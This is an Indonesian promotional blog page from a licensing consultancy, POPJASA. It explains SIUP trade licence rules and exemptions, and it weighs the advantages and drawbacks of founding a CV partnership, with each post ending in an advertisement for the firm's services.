Meski tergolong wajib di miliki oleh seluruh usaha di Indonesia, namun terdapat pengecualian untuk perusahaan yang tidak di wajibkan mengurus SIUP. Hal ini telah tercantum dalam Pasal 4 Ayat (1) Huruf C Peraturan Menteri Perdagangan No. 46/M-DAG/PER/9/2009.

Lantas apa saja kriteria perusahaan yang tidak di wajibkan untuk mengurus SIUP?

  1. Perusahaan yang melakukan kegiatan usaha di luar sector perdagangan
  2. Kantor Cabang atau Kantor Perwakilan
  3. Perusahaan perdagangan mikro dengan kriteria sebagai berikut:
  • Usaha perseorangan atau persekutuan
  • Kegiatan usaha di urus, di jalankan atau di kelola oleh pemiliknya atau anggota keluarga terdekat
  • Memiliki kekayaan bersih paling banyak Rp. 50 juta tidak termasuk tanah dan bangunan.

Namun bagaimana jika perusahaan perdagangan mikro ingin memiliki SIUP, maka dapat di berikan SIUP Mikro. Sehingga khusus untuk perdagangan mikro, SIUP merupakan dokumen opsional yang tidak bersifat wajib untuk di miliki.

Bagaimana Cara Memperoleh SIUP?

Untuk memberikan kemudahan bagi pengusaha, pemerintah telah menerbitkan Peraturan Pemerintah No. 24 Tahun 2018 tentang Pelayanan Perizinan Berusaha Terintegrasi Secara Elektronik (PP 24/2018).

PP 24/2018 ini berpengaruh terhadap pengajuan permohonan untuk memperoleh SIUP. Bahkan ini juga menjadi dasar hukum adanya Online Single Submission (OSS), di mana perusahaan dapat dengan mudah memperoleh SIUP dengan mengajukan permohonan secara online.

Saat ini dengan adanya sistem OSS, Anda dapat mengajukan permohonan untuk memperoleh SIUP bersamaan dengan pendaftaran untuk memperoleh Nomor Induk Berusaha (NIB).

Selain itu, yang cukup menguntungan dari SIUP adalah SIUP berlaku sepanjang perusahaan menjalankan kegiatan usahanya. Sehingga Anda tidak perlu repot untuk memperpanjang SIUP, karena SIUP akan tetap berlaku selama Anda menjalankan kegiatan usaha perdagangan.

Konsekuensi Tidak Memiliki SIUP

Berdasarkan Pasal 23 Ayat (1) Peraturan Menteri Perdagangan No. 46/M-DAG/PER/9/2009, perusahaan yang menjalankan kegiatan usaha namun tidak memiliki SIUP akan di kenakan sanksi sesuai dengan peraturan perundang-undangan.

Mengapa hal ini dapat terjadi? Sebab SIUP merupakan dokumen yang wajib di miliki oleh perusahaan, kecuali untuk perusahaan yang memang secara tegas di kecualikan untuk memiliki SIUP.

Apakah SIUP Dapat Digunakan Untuk Kegiatan Usaha Lainnya?

Berdasarkan Pasal 5 Peraturan Menteri Perdagangan No. 46/M-DAG/PER/9/2009, SIUP di larang di gunakan untuk melakukan kegiatan:

  1. Pertama Usaha perdagangan yang tidak sesuai dengan kelembagaan dan/atau kegiatan usaha yang tercantum di dalam SIUP
  2. Usaha yang mengaku kegiatan perdagangan, untuk menghimpun dana dari masyarakat dengan menawarkan janji keuntungan yang tidak wajar (money game), atau;
  3. Usaha perdagangan lainnya yang telah di atur melalui ketentuan peraturan perundang-undangan tersendiri
Manfaat SIUP

Selain karena SIUP memang di wajibkan untuk di peroleh berdasarkan Peraturan Menteri Perdagangan, SIUP juga memiliki manfaat tersendiri bagi pengusaha. Apa saja manfaat yang di maksud? Berikut ini penjabarannya:

  1. Suatu usaha yang telah memiliki SIUP akan mendapatkan perlindungan hukum dan sebagai bukti bahwa dalam menjalankan kegiatan usaha, usaha tersebut telah mendapatkan izin dari pemerintah
  2. SIUP akan mempermudah Anda ketika ingin membuka rekening bank atau mengajukan pinjaman
  3. Sebagai salah satu syarat yang di perlukan jika perusahaan Anda berpartisipasi dalam tender
  4. Membuat usaha yang Anda rintis memiliki kredibilitas sehingga dapat meningkatkan kepercayaan konsumen

Nah! Itulah beberapa hal terkait SIUP yang merupakan legalitas pelindung usaha Anda. Jangan tunda lagi mengurus SIUP, ya!

Jika Anda ingin mengurus SIUP, namun Anda bingung apa saja yang harus di persiapkan untuk mengurus SIUP, maka Anda tidak perlu khawatir karena Anda bisa mempercayakannya pada POPJASA!

POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien yang membutuhkan perizinan dan pendirian usaha di seluruh Indonesia!

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien. 

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

 

Agustus 23, 2021

Pembuatan CV Dokumen Lengkap Hanya 2,9 Jt Kab. Blora

Pembuatan CV Dokumen Lengkap Hanya 2,9 Jt Kab. Blora

Pembuatan CV Dokumen Lengkap Hanya 2,9 Jt Kab. Blora CV (Commanditaire Vennootschap/Persekutuan Komanditer) merupakan kandidat kedua badan usaha yang cukup popular di kalangan pengusaha di Indonesia.

Selain karena langkah dan proses pendiriannya yang mudah, CV juga di akui oleh mayoritas pengusaha sebagai badan usaha yang memiliki cukup banyak keuntungan.

Mau tahu apa saja keuntungan memiliki CV? Berikut ini merupakan keuntungannya:

Ini Keuntungan Mendirikan CV

  • Tidak Ada Modal Minimal

Mendirikan CV di kenal memang tidak memiliki batasan minimal modal. Berapapun modal yang Anda miliki, jika Anda ingin mendirikan CV tentu Anda bisa tetap mendirikannya selama semua syarat-syaratnya telah terpenuhi.

  • Nama Perusahaan Yang Lebih Sesuai

Nama perusahaan yang lebih sesuai akan mudah Anda peroleh jika mendirikan CV. Tentu hal ini berkaitan selama proses pendiriannya.

Baca Juga : Bagaimana Jika PT di Blora Belum Setor Modal?

  • Sistem Pengambilan Keputusan Lebih Cepat

Dalam operasionalnya, CV memiliki sistem pengambilan keputusan umumnya akan lebih cepat untuk di ambil.

  • Sistem Perpajakan Lebih Mudah

Pajak yang harus di setorkan dalam badan usaha CV cenderung lebih mudah dan tidak berbelit. Oleh sebab itu, cukup banyak bisnis start-up yang mengibarkan sayap bisnis mereka dengan mendirikan CV terlebih dahulu.

Baca Juga :  Yuk Kenali Jenis-Jenis CV di Indonesia !

Jasa Pendirian Usaha

Jika Anda mengalami kesulitan dalam mengurus pendirian CV atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pendirian CV.

Mengapa harus mengurus proses pembuatan CV Anda di POPJASA?

Karena POPJASA telah diakui sebagai konsultan perizinan dan pendirian usaha yang memiliki pelayanan terbaik, waktu pengerjaan tercepat dengan biaya yang terhemat.

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien.

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto No. 59, (Depan Mess Rajawali AURI) Nanasan, Malangjiwan, Kec. Colomadu, Kabupaten Karanganyar, Jawa Tengah 57177

Kontak POPJASA:

Kekurangan & Kelebihan Mendirikan CV Kab. Boyolali

Kekurangan & Kelebihan Mendirikan CV Kab. Boyolali 

Kekurangan & Kelebihan Mendirikan CV Kab. Boyolali –  CV dapat di dirikan minimalnya 2 orang di dalamnya yang berkompeten dan memiliki keahlian dalam mengelola perusahaan tersebut.

Untuk dapat mengerti tentang apa itu CV akan di jelaskan beserta kelebihan dan kekurangannya lengkap sebagai berikut :

PENGERTIAN CV

CV adalah singkatan dari Commanditaire Vennotschap yang berarti persekutuan dari 2 orang atau lebih untuk dapat mendirikan suatu badan usaha yang sebagaian besar dari anggotanya mendapatkan tanggung jawab yang tidak terbatas tetapi ada pula anggota yang memiliki tanggung jawab yang terbatas.

KELEBIHAN CV

CV memiliki beberapa kelebihan yang ada di dalamnya, kelebihan itu adalah sebagai berikut:

  • CV pada biasanya mudah dalam mendapatkan modal, karena pihak perbankan lebih mempercayainya.
  • Kemampuan dalam bermanajemennya besar.
  • Lebih mudah dalam mendapat suntikan modal, karena CV sudah pupoler di Indonesia
  • Resiko yang di hadapi di tanggung bersama.
  • Dapat mudah berkembang karena di duduki oleh yang paling ahli dari wilayah dari sekutu di bidangnya.

KEKURANGAN CV 

Kelemahan yang di miliki oleh CV adalah :

  • Kelangsungan dari parusahaan tidak menentu
  • Dapat terjadi konflik di antara sekutu perusahaan
  • Modal yang telah di tanamkan sulit untuk di tarik kembali.
  • Anggota yang aktif berperan penting dan memiliki tanggung jawab yang tak terbatas

Jika Anda mengalami kesulitan dalam mengurus pendirian CV atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pendirian CV.

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien.

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

Older Posts »

Powered by WordPress